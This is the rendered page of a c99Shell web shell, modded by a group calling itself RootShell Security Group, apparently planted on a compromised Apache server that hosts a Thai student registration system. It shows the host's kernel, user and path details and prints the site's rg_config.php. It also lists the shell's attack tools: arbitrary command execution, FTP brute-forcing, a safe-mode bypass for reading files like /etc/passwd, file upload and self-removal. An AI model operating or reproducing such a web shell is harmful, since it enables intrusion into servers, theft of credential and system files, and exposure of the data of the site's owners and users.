!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/config/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rg_config.php (8.21 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$config
['rg_folder']="eregis/";
$config['rg_table_color']="#0066CC";
$config['rg_table_color2']="#abcdef";
$config['rg_head_tb_color']="#CCCCCC";
$config['rg_head_tb_color2']="#FFE1A4";
$config['rg_head_tb_color6']="#006699";
$config['rg_head_tb_headCol']="#ABCDEF";    // สีท้ายตาราง เช่น รวมทั้งสิ้น
$config['rg_font_color_err'] = 'red';
$config['rg_font_color_true'] = 'green';
$config['rg_table_bottom'] = 'silver';    // สีท้ายตารางที่เป็น สีเทา ทั้งแถบยาวๆ
$config['rg_table_end'] = '#D8D8D8';    // สีท้ายตารางที่เป็น สีเทา ทั้งแถบยาวๆ
$config['rg_time_table_day'] = '#FEDCBA';
$config['rg_time_table_duplicate'] = '#EEEEEE';
$config['rg_time_table_unduplicate'] = '#FFCCFF';
$config['rg_time_table_nostudy'] = '#AAFFAA';
$config['rg_text_head_tb'] = "#000000";
$config['rg_line_color_even'] = "#EBEFF3";


$config['rg_mouseover']="#FFFFCC";
$config['rg_mouseout']="#FFFFFF";

$config['rg_max_row'] = 100;
$config['reviseY'] = 2552;

$config['rg_passStatus'] = array(=> "เลื่อนชั้นได้อย่างมีเงื่อนไข",
    
=> "เลื่อนชั้นได้อย่างมีเงื่อนไข",
    
=> "",
    
=> "พ้นสภาพนักศึกษา"
);

$config['rg_forceAssess'] = "http://".$_SERVER['HTTP_HOST'].str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME'])."eassess/getForceAssess.php";
$config['rg_upload_doc'] = './uploads/eregis/doc/';
$config['rg_docRif'] = 'uploads/eregis/doc/ris120.rtf';
$config['rg_docPdf'] = 'uploads/eregis/doc/doc.pdf';
$config['rg_upload_congif'] = './images/eregis/picture/';

$config['rg_upload_pictureStd'] = './uploads/eregis/pictureStd/';
$config['rg_pictureStd'] = 'uploads/eregis/pictureStd/';
$config['rg_allowed_width'] = 100;
$config['rg_allowed_height'] = 115;
$config['rg_upload_pictureT'] = './uploads/eperson/picturePerson/';
$config['rg_pictureT'] = 'uploads/eperson/picturePerson/';

$config['rg_upload_pictureNews'] = './uploads/eregis/pictureNews/';
$config['rg_pictureNews'] = 'uploads/eregis/pictureNews/';
$config['rg_upload_docNews'] = './uploads/eregis/docNews/';
$config['rg_docNews'] = 'uploads/eregis/docNews/';
$config['rg_upload_docReward'] = './uploads/eregis/docReward/';
$config['rg_docReward'] = 'uploads/eregis/docReward/';

//$config['rg_upload_pictureNw'] = './uploads/eregis/pictureNw/';
//$config['rg_pictureNw'] = 'uploads/eregis/pictureNw/';

$config['rg_upload_logo'] = './uploads/eregis/picture/';
$config['rg_upload_picture'] = "uploads/eregis/picture/";
$config['rg_allowed_widthCfg'] = 1003;
$config['rg_allowed_heightCfg'] = 95;
$config['SiteBanner'] = "SiteBanner";
$config['rg_allowed_widthLg'] = 333;
$config['rg_allowed_heightLg'] = 295;
$config['SiteLogo'] = "SiteLogo";
$config['rg_allowed_widthIn'] = 97;
$config['rg_allowed_heightIn'] = 95;
$config['logo_institute'] = "logo_institute";
$config['rg_allowed_widthBank'] = 64;
$config['rg_allowed_heightBank'] = 29;
$config['logo_bank'] = "logo_bank";

$config['rg_folder_logo'] = 'clgLogo/';
$config['rg_upload_size'] = 2048//2 MB
$config['rg_upload_maxsize'] = 204800//2048000;
$config['rg_memory_limit'] = "64M";
$config['rg_excel_exp'] = "images/".$config['rg_folder']."picture/excel.gif";
$config['rg_add_addEs'] = "images/".$config['rg_folder']."picture/addEs.gif";
$config['rg_add_add'] = "images/".$config['rg_folder']."picture/add.gif";
$config['rg_search'] = "images/".$config['rg_folder']."picture/search.gif";
$config['rg_edit'] = "images/".$config['rg_folder']."picture/edit.gif";
$config['rg_edit_yell'] = "images/".$config['rg_folder']."picture/edityell.gif";
$config['rg_delete'] = "images/".$config['rg_folder']."picture/delete.gif";
$config['rg_deleted'] = "images/".$config['rg_folder']."picture/deleted.gif";
$config['rg_bg_back1'] = "images/".$config['rg_folder']."picture/back1.jpg";
$config['rg_pdf'] = "images/".$config['rg_folder']."picture/pdf.gif";
$config['rg_print'] = "images/".$config['rg_folder']."picture/print.gif";
$config['rg_paper'] = "images/".$config['rg_folder']."picture/paper.gif";
$config['rg_noedit'] = "images/".$config['rg_folder']."picture/noedit.gif";
$config['rg_paymentTP'] = "images/".$config['rg_folder']."picture/paymentTP.gif";
$config['rg_listmenu'] = "images/".$config['rg_folder']."picture/listmenu.gif";
$config['rg_ico_excel'] = "images/".$config['rg_folder']."picture/ico_excel.gif";
$config['rg_stamp'] = "images/".$config['rg_folder']."picture/stamp.gif";
$config['rg_mark'] = "images/".$config['rg_folder']."picture/mark.jpg";
$config['rg_editgrey'] = "images/".$config['rg_folder']."picture/editgrey.gif";
$config['rg_ico3'] = "images/".$config['rg_folder']."picture/ico3.gif";
$config['rg_help'] = "images/".$config['rg_folder']."picture/help.png";
$config['rg_grade'] = "images/".$config['rg_folder']."picture/grade.gif";
$config['rg_add_2'] = "images/".$config['rg_folder']."picture/add_2.gif";
$config['rg_alert-sign'] = "images/".$config['rg_folder']."picture/alert-sign.gif";
$config['rg_photo'] = "images/".$config['rg_folder']."picture/photo.gif";
$config['rg_repRis121TP'] = "images/".$config['rg_folder']."picture/repRis121TP.gif";
$config['rg_tRG'] = "images/".$config['rg_folder']."picture/tRG.gif";
$config['rg_tPPC'] = "images/".$config['rg_folder']."picture/tPPC.gif";
$config['rg_momis_logo'] = "images/momis_logo.jpg";
$config['rg_bottom_line'] = "images/bottom_line.jpg";
$config['rg_alarm'] = "images/".$config['rg_folder']."picture/alarm.gif";
$config['rg_book'] = "images/".$config['rg_folder']."picture/book.jpg";
$config['rg_folio'] = "images/".$config['rg_folder']."picture/folio.gif";
$config['rg_curriculum'] = "images/".$config['rg_folder']."picture/curriculum.jpg";
$config['rg_hospital'] = "images/".$config['rg_folder']."picture/hospital.jpg";
$config['rg_room'] = "images/".$config['rg_folder']."picture/room.jpg";
$config['rg_subject'] = "images/".$config['rg_folder']."picture/subject.jpg";
$config['rg_teacher'] = "images/".$config['rg_folder']."picture/teacher.jpg";
$config['rg_edit_copyGrey'] = "images/".$config['rg_folder']."picture/edit_copyGrey.gif";

$config['str_fault'] = "กรุณากรอกคำค้นลงในช่องใดช่องหนึ่ง";

// config 1-4 จะตัดออกแล้ว
$config['rg_msg'] = array(
    
=> '<div id="object" class="messageErr">เกิดความผิดพลาดในการติดต่อฐานข้อมูล</div>',
    
=> '<div id="object" class="messageTrue">บันทึกข้อมูลสำเร็จ</div>',
    
=> '<div id="object" class="messageErr">บันทึกข้อมูลไม่สำเร็จ</div>',
    
=> '<div id="object" class="messageTrue">ลบข้อมูลสำเร็จ</div>',
    
=> '<div id="object" class="messageErr">ลบข้อมูลไม่สำเร็จ</div>',
    
10 => '<div id="object" class="messageTrue">บันทึกข้อมูลสำเร็จ</div>',
    
20 => '<div id="object" class="messageErr">บันทึกข้อมูลไม่สำเร็จ</div>',
    
21 => '<div id="object" class="messageErr">ข้อมูลซ้ำไม่สามารถบันทึกข้อมูลได้</div>',
    
22 => '<div id="object" class="messageErr">นักศึกษาสถานะสำเร็จการศึกษาไม่สามารถแก้ไขข้อมูลได้</div>',
    
30 => '<div id="object" class="messageTrue">ลบข้อมูลสำเร็จ</div>',
    
40 => '<div id="object" class="messageErr">ลบข้อมูลไม่สำเร็จ</div>',
    
41 => '<div id="object" class="messageErr">ข้อมูลถูกอ้างอิงแล้วไม่สามารถลบได้</div>');

/*
1 - ผู้ดูแลระบบ
4 - เจ้าหน้าที่
5 - อาจารย์
6 - นักศึกษา
*/
$config['rg_wg_grade'] = '145';
$config['rg_wg_faq'] = '14';
$config['rg_wg_graduate'] = '14';
$config['rg_wg_stdGraduate'] = '16';

$config['kssFee'] = '6';
$config['domFee'] = '9';
$config['rg_refNoPmBook_length'] = '4';
$config['rg_refNoPmNo_max'] = '10000';
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--